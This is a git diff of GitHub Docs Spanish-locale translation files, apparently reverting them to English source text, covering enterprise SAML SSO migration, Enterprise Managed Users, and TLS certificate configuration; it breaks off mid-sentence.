--- a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md +++ b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md @@ -1,6 +1,6 @@ --- -title: Cambiar tu configuración de SAML de una cuenta organizacional a una empresarial -intro: Aprende sobre las consideraciones especiales y mejores prácticas para reemplazar una configuración de SAML a nivel organizacional con una configuración de SAML a nivel empresarial. +title: Switching your SAML configuration from an organization to an enterprise account +intro: Learn special considerations and best practices for replacing an organization-level SAML configuration with an enterprise-level SAML configuration. product: '{% data reusables.gated-features.enterprise-accounts %}' permissions: Enterprise owners can configure SAML single sign-on for an enterprise account. versions: @@ -10,37 +10,37 @@ topics: - Enterprise - Organizations type: how_to -shortTitle: Cambiar desde una organización +shortTitle: Switching from organization redirect_from: - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account --- {% data reusables.enterprise-accounts.emu-saml-note %} -## Acerca del inicio de sesión único de SAML para las cuentas empresariales +## About SAML single sign-on for enterprise accounts -{% data reusables.saml.dotcom-saml-explanation %}{% data reusables.saml.about-saml-enterprise-accounts %} +{% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %} -{% data reusables.saml.switching-from-org-to-enterprise %} +{% data reusables.saml.switching-from-org-to-enterprise %} -When you configure SAML SSO at the organization level, each organization must be configured with a unique SSO tenant in your IdP, which means that your members will be associated with a unique SAML identity record for each organization they have successfully authenticated with. Si configuras el SSO de SAML para que se utilice en su lugar en tu empresa, cada miembro de ella tendrá una identidad de SAML que se utilizará para todas las organizaciones que pertenezcan a la cuenta empresarial. +When you configure SAML SSO at the organization level, each organization must be configured with a unique SSO tenant in your IdP, which means that your members will be associated with a unique SAML identity record for each organization they have successfully authenticated with. If you configure SAML SSO for your enterprise account instead, each enterprise member will have one SAML identity that is used for all organizations owned by the enterprise account. -Después de que configures el SSO de SAML para tu cuenta empresarial, la configuración nueva anulará cualquier configuración de SSO de SAML para las organizaciones que pertenezcan a esta cuenta. +After you configure SAML SSO for your enterprise account, the new configuration will override any existing SAML SSO configurations for organizations owned by the enterprise account. -No se notificará a los miembros de la empresa cuando un propietario habilite SAML para la cuenta empresarial. Si el SSO de SAML se requirió previamente a nivel organizacional, los miembros no deberían ver una diferencia mayor al navegar directamente a los recursos organizacinales. Se les seguirá pidiendo a los miembros autenticarse por SAML. Si los miembros navegan a los recursos organizacionales a través de su tablero de IdP, necesitarán hacer clic en una sección nueva para la app a nivel empresarial en vez de en la anterior para la de nivel organizacional. Entonces los miembros podrán elegir la organización a la cual quieren navegar. +Enterprise members will not be notified when an enterprise owner enables SAML for the enterprise account. If SAML SSO was previously enforced at the organization level, members should not see a major difference when navigating directly to organization resources. The members will continue to be prompted to authenticate via SAML. If members navigate to organization resources via their IdP dashboard, they will need to click the new tile for the enterprise-level app, instead of the old tile for the organization-level app. The members will then be able to choose the organization to navigate to. -Cualquier token de acceso personal (PAT), llave de SSH, {% data variables.product.prodname_oauth_apps %} y {% data variables.product.prodname_github_apps %} que se hayan autorizado previamente para la organización seguirán autorizadas para esta. Sin embargo, los miembros necesitarán autorizar cualquier PAT, llaves SSH, {% data variables.product.prodname_oauth_apps %} y {% data variables.product.prodname_github_apps %} que nunca se hayan autorizado para utilizarse con el SSO de SAML en la organización. +Any personal access tokens (PATs), SSH keys, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %} that were previously authorized for the organization will continue to be authorized for the organization. However, members will need to authorize any PATs, SSH keys, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %} that were never authorized for use with SAML SSO for the organization. -El aprovisionamiento de SCIM no es compatible actualmente cuando el SSO de SAML se configura para una cuenta empresarial. Si actualmente estás utilizando SCIM para una organización que pertenece a tu cuenta empresarial, perderás esta funcionalidad cuando cambies a una configuración a nivel empresarial. +SCIM provisioning is not currently supported when SAML SSO is configured for an enterprise account. If you are currently using SCIM for an organization owned by your enterprise account, you will lose this functionality when switching to an enterprise-level configuration. -No se te requiere eliminar ninguna configuración de SAML a nivel organizacional antes de configurar el SSO de SAML para tu cuenta empresarial, pero deberías considerar hacerlo. Si en algún momento se inhabilita SAML para la cuenta empresarial en el futuro, cualquier configuración de SAML a nivel organizacional tomará efecto. El eliminar las configuraciones a nivel organizacional puede prevenir problemas inesperados en el futuro. +You are not required to remove any organization-level SAML configurations before configuring SAML SSO for your enterprise account, but you may want to consider doing so. If SAML is ever disabled for the enterprise account in the future, any remaining organization-level SAML configurations will take effect. Removing the organization-level configurations can prevent unexpected issues in the future. -## Cambiar tu configuración de SAML de una cuenta organizacional a una empresarial +## Switching your SAML configuration from an organization to an enterprise account -1. Requerir el SSO de SAML para tu cuenta empresarial, asegurándote de que todos los miembros organizacionales se asignen o se les de acceso a la app del IdP que se utiliza para la cuenta empresarial. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML para tu empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)". -1. Opcionalmente, elimina cualquier configuración existente de SAML para las organizaciones que pertenecen a la cuenta empresarial. Para ayudarte a decidir si quieres eliminar o no las configuraciones, consulta la sección "[Acerca del inicio de sesión único de SAML para las cuentas empresariales](#about-saml-single-sign-on-for-enterprise-accounts)". -1. Si mantuviste activa cualquier configuración de SAML a nivel organizacional, para prevenir la confusión, considera ocultar la sección en las apps a nivel organizacional en tu IdP. -1. Notifica a los miembros de tu empresa sobre este cambio. - - Los miembros ya no podrán acceder a las organizaciones si hacen clic en la app de SAML de la organización en el tablero del IdP. Necesitarán utilizar la app nueva que se configuró para la cuenta empresarial. - - Los miembros necesitarán autorizar cualquier PAT o llave SSH que no se hayan autorizado antes para utilizarlos con el SSO de SAML en su organización. Para obtener más información, consulta las secciones "[Autorizar que un token de acceso personal se utilice con el inicio de sesión único de SAML](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" y "[Autorizar a una llave SSH para que se utilice con el inicio de sesión único de SAML](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)". - - Los miembros podrían necesitar volver a autorizar las {% data variables.product.prodname_oauth_apps %} que se autorizaran anteriormente en la organización. Para obtener más información, consulta la sección "[Acerca de la autenticación con el inicio de sesión único de SAML](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-and-saml-sso)". +1. Enforce SAML SSO for your enterprise account, making sure all organization members are assigned or given access to the IdP app being used for the enterprise account. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." +1. Optionally, remove any existing SAML configuration for organizations owned by the enterprise account. To help you decide whether to remove the configurations, see "[About SAML single sign-on for enterprise accounts](#about-saml-single-sign-on-for-enterprise-accounts)." +1. If you kept any organization-level SAML configurations in place, to prevent confusion, consider hiding the tile for the organization-level apps in your IdP. +1. Advise your enterprise members about the change. + - Members will no longer be able to access their organizations by clicking the SAML app for the organization in the IdP dashboard. They will need to use the new app configured for the enterprise account. + - Members will need to authorize any PATs or SSH keys that were not previously authorized for use with SAML SSO for their organization. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)." + - Members may need to reauthorize {% data variables.product.prodname_oauth_apps %} that were previously authorized for the organization. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-and-saml-sso)." diff --git a/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md b/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md index d22838bfa7..2700c6ee2e 100644 --- a/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md +++ b/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md @@ -1,7 +1,7 @@ --- -title: Acerca de los Usuarios Administrados Empresariales -shortTitle: Acerca de los usuarios administrados -intro: 'Puedes administrar centralmente la identidad y el acceso para los miembros de tu empresa en {% data variables.product.prodname_dotcom %} desde tu proveedor de identidad.' +title: About Enterprise Managed Users +shortTitle: About managed users +intro: 'You can centrally manage identity and access for your enterprise members on {% data variables.product.prodname_dotcom %} from your identity provider.' product: '{% data reusables.gated-features.emus %}' redirect_from: - /early-access/github/articles/get-started-with-managed-users-for-your-enterprise @@ -16,54 +16,54 @@ topics: - SSO --- -## Acerca de {% data variables.product.prodname_emus %} +## About {% data variables.product.prodname_emus %} -Con {% data variables.product.prodname_emus %}, puedes controlar las cuentas de usuario de los miembros de tu empresa a través de tu proveedor de identidad (IdP). Puedes simplificar la autenticación con el inicio de sesión único (SSO) de SAML y aprovisionar, actualizar y desaprovisionar las cuentas de usuario de tus miembros empresariales. Los usuarios que se asignen a la aplicación de {% data variables.product.prodname_emu_idp_application %} en tu IdP se aprovisionarán como cuentas de usuario nuevas en {% data variables.product.prodname_dotcom %} y se agregarán a tu empresa. Tú controlas los nombres de usuario, datos de perfil, membrecía de equipo y acceso al repositorio desde tu IdP. +With {% data variables.product.prodname_emus %}, you can control the user accounts of your enterprise members through your identity provider (IdP). You can simplify authentication with SAML single sign-on (SSO) and provision, update, and deprovision user accounts for your enterprise members. Users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your IdP are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and added to your enterprise. You control usernames, profile data, team membership, and repository access from your IdP. -En tu IdP, puedes dar a cada {% data variables.product.prodname_managed_user %} el rol de usuario, propietario de la empresa o gerente de facturación. {% data variables.product.prodname_managed_users_caps %} puede ser propietario de organizaciones dentro de tu empresa y puede agregar a otros {% data variables.product.prodname_managed_users %} a las organizaciones y equipos dentro de ella. Para obtener más información, consulta las secciones "[Roles en una empresa](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" y "[Acerca de las organizaciones](/organizations/collaborating-with-groups-in-organizations/about-organizations)". +In your IdP, you can give each {% data variables.product.prodname_managed_user %} the role of user, enterprise owner, or billing manager. {% data variables.product.prodname_managed_users_caps %} can own organizations within your enterprise and can add other {% data variables.product.prodname_managed_users %} to the organizations and teams within. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" and "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)." -También puedes administrar la membrecía de equipo dentro de una organización en tu empresa directamente desde tu IdP, lo cual te permite administrar el acceso al repositorio utilizando grupos en tu IdP. La membrecía de la organización puede administrarse manualmente o actualizarse automáticamente conforme se agreguen {% data variables.product.prodname_managed_users %} a los equipos dentro de dicha organización. Para obtener más información, consulta la sección "[Administrar las membrecías de equipo con los grupos de proveedor de identidades](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)". +You can also manage team membership within an organization in your enterprise directly through your IdP, allowing you to manage repository access using groups in your IdP. Organization membership can be managed manually or updated automatically as {% data variables.product.prodname_managed_users %} are added to teams within the organization. For more information, see "[Managing team memberships with identity provider groups](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)." -Puedes otorgar acceso a los {% data variables.product.prodname_managed_users %}, así como la habilidad de contribuir con los repositorios dentro de tu empresa, pero los {% data variables.product.prodname_managed_users %} no pueden crear contenido público ni colaborar con otros usuarios, organizaciones y empresas en el resto de {% data variables.product.prodname_dotcom %}. No se puede invitar a los {% data variables.product.prodname_managed_users %} que se aprovisionaron para tu empresa para que se unan a organizaciones o repositorios fuera de esta, ni se puede invitar a los {% data variables.product.prodname_managed_users %} a otras empresas. Los colaboradores externos no son compatibles con los {% data variables.product.prodname_emus %}. +You can grant {% data variables.product.prodname_managed_users %} access and the ability to contribute to repositories within your enterprise, but {% data variables.product.prodname_managed_users %} cannot create public content or collaborate with other users, organizations, and enterprises on the rest of {% data variables.product.prodname_dotcom %}. The {% data variables.product.prodname_managed_users %} provisioned for your enterprise cannot be invited to organizations or repositories outside of the enterprise, nor can the {% data variables.product.prodname_managed_users %} be invited to other enterprises. Outside collaborators are not supported by {% data variables.product.prodname_emus %}. -El nombre de usuario de los {% data variables.product.prodname_managed_users %} de tu empresa y su información de perfil, tal como los nombres y direcciones de correo electrónico que se muestran, se configuran mediante tu IdP y no pueden cambiarlos los mismos usuarios. Para obtener más información, consulta la sección "[Nombres de usuario e información de perfil](#usernames-and-profile-information)". +The usernames of your enterprise's {% data variables.product.prodname_managed_users %} and their profile information, such as display names and email addresses, are set by through your IdP and cannot be changed by the users themselves. For more information, see "[Usernames and profile information](#usernames-and-profile-information)." {% data reusables.enterprise-accounts.emu-forks %} -Los propietarios de las empresas pueden auditar todas las acciones de los {% data variables.product.prodname_managed_users %} en {% data variables.product.prodname_dotcom %}. +Enterprise owners can audit all of the {% data variables.product.prodname_managed_users %}' actions on {% data variables.product.prodname_dotcom %}. -Para utilizar los {% data variables.product.prodname_emus %}, necesitas un tipo separado de cuenta empresarial con {% data variables.product.prodname_emus %} habilitados. Para obtener más información sobre cómo crear esta cuenta, consulta la sección "[Acerca de las empresas con usuarios administrados](#about-enterprises-with-managed-users)". +To use {% data variables.product.prodname_emus %}, you need a separate type of enterprise account with {% data variables.product.prodname_emus %} enabled. For more information about creating this account, see "[About enterprises with managed users](#about-enterprises-with-managed-users)." -## Soporte del proveedor de identidad +## Identity provider support -{% data variables.product.prodname_emus %} es compatible con los siguientes IdP: +{% data variables.product.prodname_emus %} supports the following IdPs: {% data reusables.enterprise-accounts.emu-supported-idps %} -## Habilidades y restricciones de los {% data variables.product.prodname_managed_users %} +## Abilities and restrictions of {% data variables.product.prodname_managed_users %} -Los {% data variables.product.prodname_managed_users_caps %} solo pueden colaborar en los repositorios privados e internos dentro de su empresa y con los repositorios que pertenecen a su cuenta de usuario. Los {% data variables.product.prodname_managed_users_caps %} tienen acceso de solo lectura al resto de la comunidad de {% data variables.product.prodname_dotcom %}. +{% data variables.product.prodname_managed_users_caps %} can only contribute to private and internal repositories within their enterprise and private repositories owned by their user account. {% data variables.product.prodname_managed_users_caps %} have read-only access to the wider {% data variables.product.prodname_dotcom %} community. -* Los {% data variables.product.prodname_managed_users_caps %} no pueden crear propuestas ni solicitudes de cambios, comentar o agregar reacciones, ni marcar como favoritos u observar o bifurcar repositorios fuera de la empresa. -* Los {% data variables.product.prodname_managed_users_caps %} no pueden subir código a los repositorios fuera de la empresa. -* Solo otros miembros de la empresa pueden ver a los {% data variables.product.prodname_managed_users_caps %} y al contenido que estos crean. -* Los {% data variables.product.prodname_managed_users_caps %} no pueden seguir a usuarios que estén fuera de la empresa. -* Los {% data variables.product.prodname_managed_users_caps %} no pueden crear gists o comentar en ellos. -* Los {% data variables.product.prodname_managed_users_caps %} no pueden instalar {% data variables.product.prodname_github_apps %} en sus cuentas de usuario. -* Otros usuarios de {% data variables.product.prodname_dotcom %} no pueden ver, mencionar o invitar a {% data variables.product.prodname_managed_user %} para colaborar. -* Los {% data variables.product.prodname_managed_users_caps %} solo pueden ser propietarios de repositorios privados y los {% data variables.product.prodname_managed_users %} solo pueden invitar a otros miembros de la empresa para que colaboren con sus propios repositorios. -* Solo se pueden crear repositorios internos y privados en las organizaciones que pertenezcan a una {% data variables.product.prodname_emu_enterprise %}, dependiendo de los ajustes de visibilidad del repositorio o empresa. +* {% data variables.product.prodname_managed_users_caps %} cannot create issues or pull requests in, comment or add reactions to, nor star, watch, or fork repositories outside of the enterprise. +* {% data variables.product.prodname_managed_users_caps %} can view all public repositories on {% data variables.product.prodname_dotcom_the_website %}, but cannot push code to repositories outside of the enterprise. +* {% data variables.product.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise. +* {% data variables.product.prodname_managed_users_caps %} cannot follow users outside of the enterprise. +* {% data variables.product.prodname_managed_users_caps %} cannot create gists or comment on gists. +* {% data variables.product.prodname_managed_users_caps %} cannot install {% data variables.product.prodname_github_apps %} on their user accounts. +* Other {% data variables.product.prodname_dotcom %} users cannot see, mention, or invite a {% data variables.product.prodname_managed_user %} to collaborate. +* {% data variables.product.prodname_managed_users_caps %} can only own private repositories and {% data variables.product.prodname_managed_users %} can only invite other enterprise members to collaborate on their owned repositories. +* Only private and internal repositories can be created in organizations owned by an {% data variables.product.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings. -## Acerca de las empresas con usuarios administrados +## About enterprises with managed users -Para utilizar los {% data variables.product.prodname_emus %}, necesitas un tipo separado de cuenta empresarial con {% data variables.product.prodname_emus %} habilitados. Para probar {% data variables.product.prodname_emus %} o para debatir sobre las opciones para migrarte desde tu empresa existente, por favor, contacta al [Equipo de ventas de {% data variables.product.prodname_dotcom %}](https://enterprise.github.com/contact). +To use {% data variables.product.prodname_emus %}, you need a separate type of enterprise account with {% data variables.product.prodname_emus %} enabled. To try out {% data variables.product.prodname_emus %} or to discuss options for migrating from your existing enterprise, please contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). -Tu contacto en el equipo de ventas de GitHub trabajará contigo para crear tu {% data variables.product.prodname_emu_enterprise %} nueva. Necesitarás proporcionar la dirección de correo electrónico del usuario que configurará tu empresa y un código corto que se utilizará como el sufijo de los nombres de usuario de los miembros. {% data reusables.enterprise-accounts.emu-shortcode %} Para obtener más información, consulta la sección "[Nombres de usuario e información de perfil](#usernames-and-profile-information)". +Your contact on the GitHub Sales team will work with you to create your new {% data variables.product.prodname_emu_enterprise %}. You'll need to provide the email address for the user who will set up your enterprise and a short code that will be used as the suffix for your enterprise members' usernames. {% data reusables.enterprise-accounts.emu-shortcode %} For more information, see "[Usernames and profile information](#usernames-and-profile-information)." -Después de crear tu empresa, recibirás un mensaje de correo electrónico de {% data variables.product.prodname_dotcom %}, el cual te invitará a elegir una contraseña para tu usuario de configuración de la empresa, quien será el primer propietario de esta. El usuario de configuración solo se utiliza para configurar el inicio de sesión único de SAML y la integración de aprovisionamiento de SCIM para la empresa. Ya no tendrá acceso para administrar la cuenta empresarial una vez que se habilite SAML con éxito. +After we create your enterprise, you will receive an email from {% data variables.product.prodname_dotcom %} inviting you to choose a password for your enterprise's setup user, which will be the first owner in the enterprise. Use an incognito or private browsing window when setting the password. The setup user is only used to configure SAML single sign-on and SCIM provisioning integration for the enterprise. It will no longer have access to administer the enterprise account once SAML is successfully enabled. -El nombre de usuario del usuario de configuración es el código corto de tu empresa con el sufijo `_admin`. Después de que inicies sesión en tu usuario de configuración, puedes comenzar a configurar el SSO de SAML para tu empresa. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML para los Usuarios Administrados Empresariales](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)". +The setup user's username is your enterprise's shortcode suffixed with `_admin`. After you log in to your setup user, you can get started by configuring SAML SSO for your enterprise. For more information, see "[Configuring SAML single sign-on for Enterprise Managed Users](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)." {% note %} @@ -71,18 +71,18 @@ El nombre de usuario del usuario de configuración es el código corto de tu emp {% endnote %} -## Autenticarse como una {% data variables.product.prodname_managed_user %} +## Authenticating as a {% data variables.product.prodname_managed_user %} -Los {% data variables.product.prodname_managed_users_caps %} se deben autenticar mediante su proveedor de identidad. +{% data variables.product.prodname_managed_users_caps %} must authenticate through their identity provider. -Para autenticarse, los {% data variables.product.prodname_managed_users %} deben visitar su portal de la aplicación de IdP o **https://github.com/enterprises/ENTERPRISE_NAME**, reemplazando **ENTERPRISE_NAME** con el nombre de tu empresa. +To authenticate, {% data variables.product.prodname_managed_users %} must visit their IdP application portal or **https://github.com/enterprises/ENTERPRISE_NAME**, replacing **ENTERPRISE_NAME** with your enterprise's name. -## Nombres de usuario e información de perfil +## Usernames and profile information -Cuando se cree tu {% data variables.product.prodname_emu_enterprise %}, elegirás un código corto que se utilizará como el sufijo de los nombres de usuario de los miembros de tu empresa. {% data reusables.enterprise-accounts.emu-shortcode %} El usuario de configuración que configure el SSO de SAML tendrá un nombre de usuario en el formato **@SHORT-CODE_admin**. +When your {% data variables.product.prodname_emu_enterprise %} is created, you will choose a short code that will be used as the suffix for your enterprise member's usernames. {% data reusables.enterprise-accounts.emu-shortcode %} The setup user who configures SAML SSO has a username in the format of **@SHORT-CODE_admin**. -Cuando aprovisionas un usuario nuevo desde tu proveedor de identidad, el {% data variables.product.prodname_managed_user %} nuevo tendrá un nombre de usuario de {% data variables.product.product_name %} en el formato de **@IDP-USERNAME_SHORT-CODE**. Cuando utilizas Azure Active Directory (Azure AD), el _IDP-USERNAME_ se forma normalizando los caracteres que preceden a `@` en el UPN (Nombre Principal de Usuario) que proporciona Azure AD. Cuando utilizas okta, el _IDP-USERNAME_ es el atributo de nombre de usuario normalizado que proporciona Okta. +When you provision a new user from your identity provider, the new {% data variables.product.prodname_managed_user %} will have a {% data variables.product.product_name %} username in the format of **@IDP-USERNAME_SHORT-CODE**. When using Azure Active Directory (Azure AD), _IDP-USERNAME_ is formed by normalizing the characters preceding the `@` character in the UPN (User Principal Name) provided by Azure AD. When using Okta, _IDP-USERNAME_ is the normalized username attribute provided by Okta. -El nombre de usuario de la cuenta nueva que se aprovisionó en {% data variables.product.product_name %}, incluyendo el guion bajo y código corto, no debe exceder los 39 caracteres. +The username of the new account provisioned on {% data variables.product.product_name %}, including underscore and short code, must not exceed 39 characters. -El nombre de perfil y dirección de correo electrónico de un {% data variables.product.prodname_managed_user %} también lo proporciona el IdP. Los {% data variables.product.prodname_managed_users_caps %} no pueden cambiar su nombre de perfil ni dirección de correo electrónico en {% data variables.product.prodname_dotcom %}. +The profile name and email address of a {% data variables.product.prodname_managed_user %} is also provided by the IdP. {% data variables.product.prodname_managed_users_caps %} cannot change their profile name or email address on {% data variables.product.prodname_dotcom %}. diff --git a/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-tls.md b/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-tls.md index 8c79773226..9fcec6ca70 100644 --- a/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-tls.md +++ b/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-tls.md @@ -1,6 +1,6 @@ --- -title: Configurar TLS -intro: 'Puedes configurar la Seguridad de la capa de transporte (TLS) en {% data variables.product.product_location %} para poder usar un certificado firmado por una entidad de certificación confiable.' +title: Configuring TLS +intro: 'You can configure Transport Layer Security (TLS) on {% data variables.product.product_location %} so that you can use a certificate that is signed by a trusted certificate authority.' redirect_from: - /enterprise/admin/articles/ssl-configuration/ - /enterprise/admin/guides/installation/about-tls/ @@ -17,53 +17,55 @@ topics: - Networking - Security --- +## About Transport Layer Security -## Acerca de la Seguridad de la capa de transporte +TLS, which replaced SSL, is enabled and configured with a self-signed certificate when {% data variables.product.prodname_ghe_server %} is started for the first time. As self-signed certificates are not trusted by web browsers and Git clients, these clients will report certificate warnings until you disable TLS or upload a certificate signed by a trusted authority, such as Let's Encrypt. -El TLS, que reemplazó al SSL, se habilita y configura con un certificado autofirmado cuando se inicia el {% data variables.product.prodname_ghe_server %} por primera vez. Como los certificados autofirmados no son confiables para los navegadores web y los clientes de Git, estos clientes informarán advertencias de certificados hasta que inhabilites TLS o cargues un certificado firmado por una entidad confiable, como Let's Encrypt. - -El aparato {% data variables.product.prodname_ghe_server %} enviará encabezados de Seguridad de transporte estricta de HTTP mientras SSL esté habilitado. Inhabilitar TLS hará que los usuarios pierdan acceso al aparato, porque sus navegadores no permitirán que un protocolo se degrade a HTTP. Para obtener más información, consulta "[Seguridad de transporte estricta de HTTP (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)" en Wikipedia. +The {% data variables.product.prodname_ghe_server %} appliance will send HTTP Strict Transport Security headers when SSL is enabled. Disabling TLS will cause users to lose access to the appliance, because their browsers will not allow a protocol downgrade to HTTP. For more information, see "[HTTP Strict Transport Security (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)" on Wikipedia. {% data reusables.enterprise_installation.terminating-tls %} -Para permitir que los usuarios utilicen FIDO U2F para la autenticación de dos factores, debes habilitar TLS para tu instancia. Para obtener más información, consulta "[Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)". +To allow users to use FIDO U2F for two-factor authentication, you must enable TLS for your instance. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." -## Prerrequisitos +## Prerequisites -Para utilizar TLS en la producción, debes tener un certificado en un formato de PEM no cifrado firmado por una entidad de certificación confiable. +To use TLS in production, you must have a certificate in an unencrypted PEM format signed by a trusted certificate authority. -Tu certificado también deberá tener configurados Nombres alternativos de sujeto para los subdominios detallados en "[Habilitar aislamiento de subdominio](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)" y deberá incluir toda la cadena de certificación si lo firmó una entidad de certificación intermedia. Para obtener más información, consulta "[Nombre alternativo de sujeto](http://en.wikipedia.org/wiki/SubjectAltName)" en Wikipedia. +Your certificate will also need Subject Alternative Names configured for the subdomains listed in "[Enabling subdomain isolation](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)" and will need to include the full certificate chain if it has been signed by an intermediate certificate authority. For more information, see "[Subject Alternative Name](http://en.wikipedia.org/wiki/SubjectAltName)" on Wikipedia. -Puedes generar una solicitud de firma de certificados (CSR) para tu instancia usando el comando `ghe-ssl-generate-csr`. Para obtener más información, consulta "[Utilidades de la línea de comando](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)." +You can generate a certificate signing request (CSR) for your instance using the `ghe-ssl-generate-csr` command. For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)." -## Cargar un certificado TLS personalizado +## Uploading a custom TLS certificate {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.privacy %} {% data reusables.enterprise_management_console.select-tls-only %} -4. En "TLS Protocol support" (Asistencia de protocolo TLS), selecciona los protocolos que quieres permitir. ![Botones de radio con opciones para elegir protocolos TLS](/assets/images/enterprise/management-console/tls-protocol-support.png) -5. En "Certificate" (Certificado), haz clic en **Choose File** (Elegir archivo) para elegir el certificado TLS o la cadena de certificación (en formato de PEM) que quieras instalar. Este archivo suele tener una extensión *.pem*, *.crt* o *.cer*. ![Botón para encontrar archivo de certificado TLS](/assets/images/enterprise/management-console/install-tls-certificate.png) -6. En "Unencrypted key" (Clave no cifrada), haz clic en **Choose File** (Elegir archivo) para elegir la clave TLS (en formato de PEM) que quieras instalar. Ese archivo suele tener una extensión *.key*. ![Botón para encontrar archivo de clave TLS](/assets/images/enterprise/management-console/install-tls-key.png) +4. Under "TLS Protocol support", select the protocols you want to allow. + ![Radio buttons with options to choose TLS protocols](/assets/images/enterprise/management-console/tls-protocol-support.png) +5. Under "Certificate", click **Choose File** to choose a TLS certificate or certificate chain (in PEM format) to install. This file will usually have a *.pem*, *.crt*, or *.cer* extension. + ![Button to find TLS certificate file](/assets/images/enterprise/management-console/install-tls-certificate.png) +6. Under "Unencrypted key", click **Choose File** to choose an RSA key (in PEM format) to install. This file will usually have a *.key* extension. + ![Button to find TLS key file](/assets/images/enterprise/management-console/install-tls-key.png) {% warning %} - **Advertencia**: Tu clave TLS no debe tener contraseña. Para obtener más información, consulta "[Eliminar la contraseña de tu archivo clave](/enterprise/{{ currentVersion }}/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)". + **Warning**: Your key must be an RSA key and must not have a passphrase. For more information, see "[Removing the passphrase from your key file](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)". {% endwarning %} {% data reusables.enterprise_management_console.save-settings %} -## Acerca de la asistencia de Let's Encrypt +## About Let's Encrypt support -Let's Encrypt es una entidad de certificación pública que emite certificados TLS gratuitos y automáticos que son confiables para los navegadores que usan el protocolo ACME. De hecho, puedes obtener y renovar los certificados de Let's Encrypt para tu aparato sin la necesidad de realizar ningún mantenimiento manual. +Let's Encrypt is a public certificate authority that issues free, automated TLS certificates that are trusted by browsers using the ACME protocol. You can automatically obtain and renew Let's Encrypt certificates on your appliance without any required manual maintenance. {% data reusables.enterprise_installation.lets-encrypt-prerequisites %} -Cuando habilites la automatización de la gestión de certificado TLS con Let's Encrypt, {% data variables.product.product_location %} se contactará con los servidores de Let's Encrypt para obtener un certificado. Para renovar un certificado, los servidores de Let's Encrypt deben validar el control del nombre de dominio configurado con las solicitudes HTTP entrantes. +When you enable automation of TLS certificate management using Let's Encrypt, {% data variables.product.product_location %} will contact the Let's Encrypt servers to obtain a certificate. To renew a certificate, Let's Encrypt servers must validate control of the configured domain name with inbound HTTP requests. -También puedes usar la utilidad de la línea de comando `ghe-ssl-acme` en {% data 